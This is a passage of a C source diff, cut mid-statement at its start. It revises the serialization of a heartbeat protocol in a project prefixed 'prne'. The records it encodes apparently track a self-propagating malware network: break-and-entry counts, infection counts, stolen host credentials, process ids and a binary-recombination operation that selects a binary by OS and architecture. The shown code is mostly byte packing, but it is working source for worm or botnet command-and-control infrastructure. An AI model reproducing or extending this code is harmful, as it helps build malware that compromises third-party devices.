= (uint8_t)in->arch; - memcpy(mem + 94, in->host_cred, in->host_cred_len); + memcpy(mem + 48, in->org_id, 16); + mem[64] = prne_getmsb64(in->parent_uptime, 0); + mem[65] = prne_getmsb64(in->parent_uptime, 1); + mem[66] = prne_getmsb64(in->parent_uptime, 2); + mem[67] = prne_getmsb64(in->parent_uptime, 3); + mem[68] = prne_getmsb64(in->parent_uptime, 4); + mem[69] = prne_getmsb64(in->parent_uptime, 5); + mem[70] = prne_getmsb64(in->parent_uptime, 6); + mem[71] = prne_getmsb64(in->parent_uptime, 7); + mem[72] = prne_getmsb64(in->child_uptime, 0); + mem[73] = prne_getmsb64(in->child_uptime, 1); + mem[74] = prne_getmsb64(in->child_uptime, 2); + mem[75] = prne_getmsb64(in->child_uptime, 3); + mem[76] = prne_getmsb64(in->child_uptime, 4); + mem[77] = prne_getmsb64(in->child_uptime, 5); + mem[78] = prne_getmsb64(in->child_uptime, 6); + mem[79] = prne_getmsb64(in->child_uptime, 7); + mem[80] = prne_getmsb64(in->bne_cnt, 0); + mem[81] = prne_getmsb64(in->bne_cnt, 1); + mem[82] = prne_getmsb64(in->bne_cnt, 2); + mem[83] = prne_getmsb64(in->bne_cnt, 3); + mem[84] = prne_getmsb64(in->bne_cnt, 4); + mem[85] = prne_getmsb64(in->bne_cnt, 5); + mem[86] = prne_getmsb64(in->bne_cnt, 6); + mem[87] = prne_getmsb64(in->bne_cnt, 7); + mem[88] = prne_getmsb64(in->infect_cnt, 0); + mem[89] = prne_getmsb64(in->infect_cnt, 1); + mem[90] = prne_getmsb64(in->infect_cnt, 2); + mem[91] = prne_getmsb64(in->infect_cnt, 3); + mem[92] = prne_getmsb64(in->infect_cnt, 4); + mem[93] = prne_getmsb64(in->infect_cnt, 5); + mem[94] = prne_getmsb64(in->infect_cnt, 6); + mem[95] = prne_getmsb64(in->infect_cnt, 7); + mem[96] = prne_getmsb32(in->crash_cnt, 0); + mem[97] = prne_getmsb32(in->crash_cnt, 1); + mem[98] = prne_getmsb32(in->crash_cnt, 2); + mem[99] = prne_getmsb32(in->crash_cnt, 3); + mem[100] = prne_getmsb32(in->parent_pid, 0); + mem[101] = prne_getmsb32(in->parent_pid, 1); + mem[102] = prne_getmsb32(in->parent_pid, 2); + mem[103] = prne_getmsb32(in->parent_pid, 3); + mem[104] = prne_getmsb32(in->child_pid, 0); + mem[105] = prne_getmsb32(in->child_pid, 1); + mem[106] = prne_getmsb32(in->child_pid, 2); + mem[107] = prne_getmsb32(in->child_pid, 3); + mem[108] = (uint8_t)in->host_cred_len; + mem[109] = (uint8_t)in->arch; + mem[110] = (uint8_t)in->os; + mem[111] = (uint8_t)in->bf_len; + memcpy(mem + 112, in->host_cred, in->host_cred_len); + memcpy(mem + 112 + in->host_cred_len, in->bf, in->bf_len); return PRNE_HTBT_SER_RC_OK; } @@ -715,6 +765,9 @@ prne_htbt_ser_rc_t prne_htbt_ser_bin_meta ( prne_htbt_ser_rc_t ret; *actual = 3 + 2; + if (in->alloc_len > PRNE_HTBT_BIN_ALLOC_LEN_MAX) { + return PRNE_HTBT_SER_RC_FMT_ERR; + } if (mem_len < *actual) { return PRNE_HTBT_SER_RC_MORE_BUF; } @@ -760,13 +813,16 @@ prne_htbt_ser_rc_t prne_htbt_ser_rcb ( size_t *actual, const prne_htbt_rcb_t *in) { - *actual = 2; + *actual = 3; if (mem_len < *actual) { return PRNE_HTBT_SER_RC_MORE_BUF; } - mem[0] = (uint8_t)in->arch; - mem[1] = (uint8_t)(in->compat ? 0x80 : 0x00); + mem[0] = (uint8_t)( + (in->compat ? 0x80 : 0x00) | + (in->self ? 0x40 : 0x00)); + mem[1] = (uint8_t)in->os; + mem[2] = (uint8_t)in->arch; return PRNE_HTBT_SER_RC_OK; } @@ -814,45 +870,29 @@ prne_htbt_ser_rc_t prne_htbt_dser_host_info ( size_t *actual, prne_htbt_host_info_t *out) { - size_t cred_size; + size_t cred_size, bf_size; - *actual = 94; + *actual = 112; if (len < *actual) { return PRNE_HTBT_SER_RC_MORE_BUF; } - cred_size = data[92]; - *actual += cred_size; + cred_size = data[108]; + bf_size = data[111]; + *actual += cred_size + bf_size; if (len < *actual) { return PRNE_HTBT_SER_RC_MORE_BUF; } - if (!prne_htbt_alloc_host_info(out, cred_size)) { + if (!prne_htbt_alloc_host_info(out, cred_size, bf_size)) { return PRNE_HTBT_SER_RC_ERRNO; } memcpy(out->prog_ver, data + 0, 16); memcpy(out->boot_id, data + 16, 16); memcpy(out->instance_id, data + 32, 16); + memcpy(out->org_id, data + 48, 16); out->parent_uptime = prne_recmb_msb64( - data[48], - data[49], - data[50], - data[51], - data[52], - data[53], - data[54], - data[55]); - out->child_uptime = prne_recmb_msb64( - data[56], - data[57], - data[58], - data[59], - data[60], - data[61], - data[62], - data[63]); - out->bne_cnt = prne_recmb_msb64( data[64], data[65], data[66], @@ -861,7 +901,7 @@ prne_htbt_ser_rc_t prne_htbt_dser_host_info ( data[69], data[70], data[71]); - out->infect_cnt = prne_recmb_msb64( + out->child_uptime = prne_recmb_msb64( data[72], data[73], data[74], @@ -870,23 +910,43 @@ prne_htbt_ser_rc_t prne_htbt_dser_host_info ( data[77], data[78], data[79]); - out->crash_cnt = prne_recmb_msb32( + out->bne_cnt = prne_recmb_msb64( data[80], data[81], data[82], - data[83]); - out->parent_pid = prne_recmb_msb32( + data[83], data[84], data[85], data[86], data[87]); - out->child_pid = prne_recmb_msb32( + out->infect_cnt = prne_recmb_msb64( data[88], data[89], data[90], - data[91]); - out->arch = (prne_arch_t)data[93]; - memcpy(out->host_cred, data + 94, cred_size); + data[91], + data[92], + data[93], + data[94], + data[95]); + out->crash_cnt = prne_recmb_msb32( + data[96], + data[97], + data[98], + data[99]); + out->parent_pid = prne_recmb_msb32( + data[100], + data[101], + data[102], + data[103]); + out->child_pid = prne_recmb_msb32( + data[104], + data[105], + data[106], + data[107]); + out->arch = (prne_arch_t)data[109]; + out->os = (prne_os_t)data[110]; + memcpy(out->host_cred, data + 112, cred_size); + memcpy(out->bf, data + 112 + cred_size, bf_size); return PRNE_HTBT_SER_RC_OK; } @@ -1027,13 +1087,15 @@ prne_htbt_ser_rc_t prne_htbt_dser_rcb ( size_t *actual, prne_htbt_rcb_t *out) { - *actual = 2; + *actual = 3; if (len < *actual) { return PRNE_HTBT_SER_RC_MORE_BUF; } - out->arch = (prne_arch_t)data[0]; - out->compat = (data[1] & 0x80) != 0; + out->compat = (data[0] & 0x80) != 0; + out->self = (data[0] & 0x40) != 0; + out->os = (prne_os_t)data[1]; + out->arch = (prne_arch_t)data[2]; return PRNE_HTBT_SER_RC_OK; } diff --git a/src/protocol.h b/src/protocol.h index 8e33736..703480e 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -25,6 +25,15 @@ typedef struct prne_htbt_stdio prne_htbt_stdio_t; typedef struct prne_htbt_rcb prne_htbt_rcb_t; typedef enum { + PRNE_OS_NONE, + + PRNE_OS_LINUX, + + NB_PRNE_OS +} prne_os_t; +PRNE_LIMIT_ENUM(prne_os_t, NB_PRNE_OS, 0xFE); + +typedef enum { PRNE_ARCH_NONE, PRNE_ARCH_I686, @@ -44,6 +53,19 @@ typedef enum { } prne_arch_t; PRNE_LIMIT_ENUM(prne_arch_t, NB_PRNE_ARCH, 0xFE); +// Instance flags +typedef enum { + PRNE_IFLAG_NONE = -1, + + PRNE_IFLAG_BA, // bin archive + PRNE_IFLAG_INIT_RUN, // initial run + PRNE_IFLAG_WKR_RCN, + PRNE_IFLAG_WKR_RESOLV, + PRNE_IFLAG_WKR_HTBT, + + NB_PRNE_IFLAG +} prne_iflag_t; + typedef enum { PRNE_IPV_NONE, PRNE_IPV_4, @@ -98,6 +120,7 @@ typedef enum { * uint8_t prog_ver[16] * uint8_t boot_id[16] * uint8_t instance_id[16] + * uint8_t org_id[16] * uint64_t parent_uptime : in seconds * uint64_t child_uptime : in seconds * uint64_t bne_cnt : break-and-entry count @@ -107,7 +130,10 @@ typedef enum { * uint32_t child_pid * uint8_t host_cred_len * uint8_t arch : `prne_arch_t` value + * uint8_t os + * uint8_t bf_len * uint8_t host_cred[host_cred_len] + * uint8_t bf[bf_len] */ PRNE_HTBT_OP_HOST_INFO, /* Hand Over Operation @@ -173,9 +199,11 @@ typedef enum { /* Binary Recombination Operation * TODO * - * uint8_t arch : "self" assumed if PRNE_ARCH_NONE * uint1_t compat : allow fallback to compatible arch - * uint7_t rsv + * uint1_t self : os and arch not used if true + * uint6_t rsv + * uint8_t os + * uint8_t arch */ PRNE_HTBT_OP_RCB, @@ -231,10 +259,14 @@ struct prne_htbt_host_info { uint8_t prog_ver[16]; uint8_t boot_id[16]; uint8_t instance_id[16]; + uint8_t org_id[16]; uint8_t *host_cred; size_t host_cred_len; + size_t bf_len; + uint8_t *bf; uint32_t crash_cnt; prne_arch_t arch; + prne_os_t os; }; struct prne_htbt_cmd { @@ -268,8 +300,10 @@ struct prne_htbt_stdio { }; struct prne_htbt_rcb { + prne_os_t os; prne_arch_t arch; bool compat; + bool self; }; typedef void(*prne_htbt_init_ft)(void *ptr); @@ -311,9 +345,15 @@ typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)( #define PRNE_HTBT_PROTO_SUB_MIN_BUF ((size_t)3 + 94 + 255) +const char *prne_os_tostr (const prne_os_t x); +prne_os_t prne_os_fstr (const char *str); +bool prne_os_inrange (const prne_os_t x); const char *prne_arch_tostr (const prne_arch_t x); prne_arch_t prne_arch_fstr (const char *str); bool prne_arch_inrange (const prne_arch_t x); +const char *prne_iflag_tostr (const prne_iflag_t x); +prne_iflag_t prne_iflag_fstr (const char *str); +bool prne_iflag_inrange (const prne_iflag_t x); bool prne_eq_ipaddr (const prne_ip_addr_t *a, const prne_ip_addr_t *b); void prne_net_ep_tosin4 ( @@ -365,7 +405,8 @@ prne_htbt_ser_rc_t prne_dec_host_cred ( void prne_htbt_init_host_info (prne_htbt_host_info_t *hi); bool prne_htbt_alloc_host_info ( prne_htbt_host_info_t *hi, - const size_t cred_len); + const size_t cred_len, + const size_t bf_len); void prne_htbt_free_host_info (prne_htbt_host_info_t *hi); bool prne_htbt_eq_host_info ( const prne_htbt_host_info_t *a, diff --git a/src/recon.c b/src/recon.c index 128fb94..2cd4520 100644 --- a/src/recon.c +++ b/src/recon.c @@ -1,4 +1,5 @@ #include "recon.h" +#include "config.h" #include "rnd.h" #include "llist.h" #include "util_rt.h" diff --git a/src/util_ct.h b/src/util_ct.h index 7fdf842..a78c634 100644 --- a/src/util_ct.h +++ b/src/util_ct.h @@ -1,4 +1,8 @@ #pragma once +#ifndef CONFIG_GEN_H +#include "config_gen.h" +#define CONFIG_GEN_H +#endif #include <assert.h> #include <stdint.h> #include <stdlib.h> diff --git a/src/util_rt.c b/src/util_rt.c index a521f3a..185faee 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -192,6 +192,10 @@ bool prne_cisprint (const char c) { return 32 <= c && c < 127; } +bool prne_ciszero (const char c) { + return c == 0; +} + bool prne_nstreq (const char *a, const char *b) { return strcmp(a == NULL ? "" : a, b == NULL ? "" : b) == 0; } diff --git a/src/util_rt.h b/src/util_rt.h index 567cd4c..cdc6d50 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -45,6 +45,8 @@ char prne_ctolower (const char c); bool prne_cisspace (const char c); bool prne_cisprint (const char c); +bool prne_ciszero (const char c); + bool prne_nstreq (const char *a, const char *b); size_t prne_nstrlen (const char *s); char *prne_strnchr (const char *p, const char c, const size_t n); |